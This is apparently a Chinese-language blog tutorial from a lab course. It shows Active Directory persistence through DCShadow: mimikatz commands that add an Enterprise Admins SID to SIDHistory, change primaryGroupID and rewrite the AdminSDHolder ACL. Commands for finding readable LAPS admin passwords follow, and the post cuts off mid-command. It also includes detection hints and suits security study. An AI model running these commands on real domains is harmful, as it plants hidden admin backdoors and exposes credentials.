发现man03用户已经成为域管理员。

您可以通过具有以下最小权限的 DA 或用户推送更改:

在域对象中:

  • DS-Install-Replica(添加/删除域中的副本)
  • DS-Replication-Manage-Topology(管理复制拓扑)
  • DS-Replication-Synchronize(复制同步)

配置容器中 Sites 对象(及其子级):

  • CreateChild 和 DeleteChild

已注册为 DC 的计算机对象:

  • WriteProperty(而不是 Write)

目标对象:

  • WriteProperty(而不是 Write)

您可以使用 Set-DCShadowPermissions 命令将这些权限授予一个非特权用户(请注意,这将留下一些日志)。这比拥有 DA 权限更加限制性。

https://github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1

例如:

Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose

这意味着当用户名为 student1 的用户在机器 mcorp-student1 上登录时,他将具有对对象 root1user 的 DCShadow 权限。

创建后门

lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519 lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519

First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl

Second, add to the ACE permissions to your user and push it using DCShadow

lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

痕迹观察

为了检测这种恶意活动,您可以监控网络流量,并怀疑任何不是 DC 主机(在我们的情况下是 PC-W10$,其 IP 地址为 10.0.0.7)向 DC(在我们的情况下是 10.0.0.6 上的 DC-MANTVYDAS)发出 RCP 请求,如下所示。

对于日志也是同样的情况,如果您看到一个非 DC 主机导致 DC 记录一个 4929 事件(详细的目录服务复制),您可能想调查一下该系统上还发生了什么其他情况。

mimikatz 目前的 DCShadow 实现在短时间内创建一个新的 DC,并在推送完成后删除其相关对象,这种模式可能会触发警报,因为在 1-2 秒的时间范围内同时发生新 DC 的创建、相关对象的修改和删除看起来是异常的。事件 4662 可能有助于识别这一情况。

LAPS

https://zhuanlan.zhihu.com/p/37853137

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps

https://www.geekby.site/2020/02/隐蔽域后门/#laps

https://blog.51cto.com/rdsrv/2708914

LAPS(本地管理员密码管理解决方案)允许您管理域加入计算机上的本地管理员密码(密码是随机生成的、唯一的,并定期更改)。这些密码被集中存储在活动目录中,并通过访问控制列表(ACL)限制只有授权用户可以访问。密码在从客户端到服务器的传输过程中使用 Kerberos v5 和 AES 进行保护。

当使用 LAPS 时,域中的计算机对象中会出现两个新属性:

ms-mcs-AdmPwd 和 ms-mcs-AdmPwdExpirationTime。

这些属性包含明文的管理员密码和密码过期时间。因此,在域环境中,检查哪些用户可以读取这些属性可能是有意义的。

reg query "HKLMSoftwarePoliciesMicrosoft ServicesAdmPwd" /v AdmPwdEnabled dir "C:Program FilesLAPSCSE"

# Check if that folder exists and contains AdmPwd.dll

# Find GPOs that have "LAPS" or some other descriptive term in the name

Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)

Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? {

0 人点赞